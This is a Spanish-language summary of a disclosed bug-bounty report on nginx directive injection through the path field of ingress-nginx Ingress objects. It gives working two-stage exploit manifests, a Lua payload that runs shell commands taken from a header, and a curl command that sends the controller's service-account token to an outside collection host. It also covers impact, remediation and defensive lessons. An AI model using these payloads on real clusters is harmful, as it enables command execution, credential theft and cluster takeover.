Reports
ALTA[OTRAS INYECCIONES]#2701701

Inyección de directivas nginx en el parámetro path de ingress-nginx permite leer ficheros del controlador

En un clúster multiinquilino, quien puede crear o editar Ingress inyectaba directivas de nginx a través del parámetro path y leía ficheros arbitrarios del controlador, incluido el token de la cuenta de servicio.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

Un controlador Ingress hace de puerta de entrada de todo el tráfico que llega a un clúster de Kubernetes: enruta las peticiones externas hacia los servicios internos. En ingress-nginx, el controlador traduce cada recurso Ingress a configuración de nginx.

El fallo está en el parámetro path de las reglas del Ingress. Ese campo indica qué ruta HTTP de un host debe dirigirse al backend, pero el tratamiento era demasiado permisivo: su contenido acababa en el fichero de configuración de nginx sin un saneado suficiente. Por eso, cerrando el bloque de ruta con las llaves adecuadas, se podían inyectar directivas arbitrarias de nginx en la configuración del controlador.

El investigador clasificó el problema como inyección de código (CWE-94) y se le asignó el identificador CVE-2021-25748. HackerOne registra severidad alta y que el programa (Kubernetes) pagó recompensa (importe no publicado). El reporte se envió el 5 de septiembre de 2024 y se divulgó el 7 de marzo de 2026.

El requisito previo es un escenario multiinquilino: un atacante que ya tiene permiso para crear o modificar objetos Ingress en el clúster, pero que no debería poder leer los secretos del propio controlador.

Pasos de reproducción

Una de las mitigaciones previas de CVE-2021-25748 añadió un inspector que impide usar directamente las funciones *_by_lua en la ruta, así que no se puede ejecutar código de forma trivial. El investigador lo esquivó encadenando dos fases: primero dejar un fragmento de configuración malicioso dentro del sistema de ficheros del controlador y después hacer que una segunda configuración lo incluya.

Fase 1 — Ingress que habilita la subida de un fichero. Se abusa de la directiva client_body_in_file_only, que guarda el cuerpo de las peticiones POST en disco. El valor de path cierra el bloque de ruta e inyecta esas directivas:

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  annotations:
    kubernetes.io/ingress.class: nginx
  name: f292392-research
  namespace: default
spec:
  rules:
  - host: f292392.com
    http:
      paths:
      - backend:
          service:
            name: legitimate-service
            port:
              number: 80
        path: |-
          /f292392body/ {
          limit_except POST              { deny all; }
          client_body_temp_path          /tmp/nginx/f292392;
          client_body_in_file_only       on;
          client_body_buffer_size        128K;
          #
        pathType: Prefix

Con eso, una petición POST a esa ruta deja su cuerpo como fichero en /tmp/nginx/f292392. El cuerpo que se envía es un fragmento de configuración de nginx que, mediante set_by_lua_block, define una variable con la salida de un comando de shell tomado de una cabecera de la petición y la refleja en una cabecera de respuesta. Es el fragmento que convierte la inyección de directivas en ejecución de comandos:

set_by_lua_block $my_var {
            local rsfile = io.popen(ngx.req.get_headers()["pathinjection"]);
            local rschar = rsfile:read("*all");ngx.say(rschar);
            return rschar;
}
proxy_set_header X-My-Var $my_var;

La subida se hace enviando ese fichero como cuerpo de la petición POST (sustituyendo la IP por la del controlador Ingress de la prueba):

curl http://f292392.com/f292392body/ --resolve f292392.com:80:4.178.145.81 -k -vv --data-binary '@./exploit.txt'

Fase 2 — Ingress que incluye el fichero subido. Como no se conoce el nombre exacto del fichero temporal, se usa un comodín en la directiva include:

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  annotations:
    kubernetes.io/ingress.class: nginx
  name: f292392-research
  namespace: default
spec:
  rules:
  - host: f292392.com
    http:
      paths:
      - backend:
          service:
            name: legitimate-service
            port:
              number: 80
        path: |-
          /rcewithhost/ {
          include /tmp/nginx/f292392/*;

          #
        pathType: Prefix

Al incluir ese fichero, la configuración con set_by_lua_block pasa a formar parte activa de nginx. A partir de ahí, una petición a /rcewithhost/ con la cabecera pathinjection que transporta el comando hace que el controlador lo ejecute y devuelva su salida en una cabecera de respuesta. El investigador lo demostró leyendo el token de la cuenta de servicio del controlador y exfiltrándolo a un dominio de recolección bajo su control:

curl http://f292392.com/rcewithhost/ --resolve f292392.com:80:4.178.145.81 -k -H "pathinjection: curl -F 'file=@/var/run/secrets/kubernetes.io/serviceaccount/token' http://[REDACTADO]"

La respuesta a esa última petición entrega el contenido del token de la cuenta de servicio.

Impacto

Un atacante en un clúster multiinquilino que solo tenga permiso para crear o modificar Ingress conseguía ejecutar comandos y leer ficheros arbitrarios en el pod del controlador, incluido el token de la cuenta de servicio de Kubernetes montado en /var/run/secrets/kubernetes.io/serviceaccount/token. Con ese token puede autenticarse contra la API del clúster con los permisos del controlador, que suelen ser amplios, de modo que un inquilino rompe el aislamiento y escala hacia el control del clúster. El daño es desproporcionado respecto al permiso de partida (gestionar Ingress).

Remediación

El caso se marcó como Resolved y tiene CVE asignado (CVE-2021-25748); corresponde actualizar ingress-nginx a una versión que corrija la inyección por el parámetro path. La defensa estructural pasa por que el controlador valide y sanee lo que puede ir en path (y en las anotaciones) antes de volcarlo a la configuración de nginx, y por limitar quién puede crear o editar Ingress en entornos multiinquilino.

Qué aprender de este caso

  • Al auditar controladores o proxies que generan configuración a partir de objetos del usuario, revisa cada campo que acabe en un fichero de configuración (aquí path del Ingress): si acepta llaves, saltos de línea o directivas, un valor puede cerrar su contexto e inyectar directivas nuevas.
  • Un filtro que solo bloquea *_by_lua en la ruta no basta: aquí se esquivó en dos fases, escribiendo primero el código en disco con client_body_in_file_only y cargándolo luego con include. Al validar, piensa también en directivas que escriben ficheros o incluyen rutas, no solo en las que ejecutan código.
  • En Kubernetes multiinquilino, el token montado en /var/run/secrets/kubernetes.io/serviceaccount/ convierte cualquier lectura de ficheros en el pod del controlador en una posible toma del clúster: reduce los permisos (RBAC) de la cuenta de servicio del controlador y, si no lo usa, desactiva su automontaje con automountServiceAccountToken: false.
  • El permiso para crear o editar Ingress es un privilegio sensible, no una operación inocua: trátalo como una frontera de confianza y restríngelo en clústeres compartidos.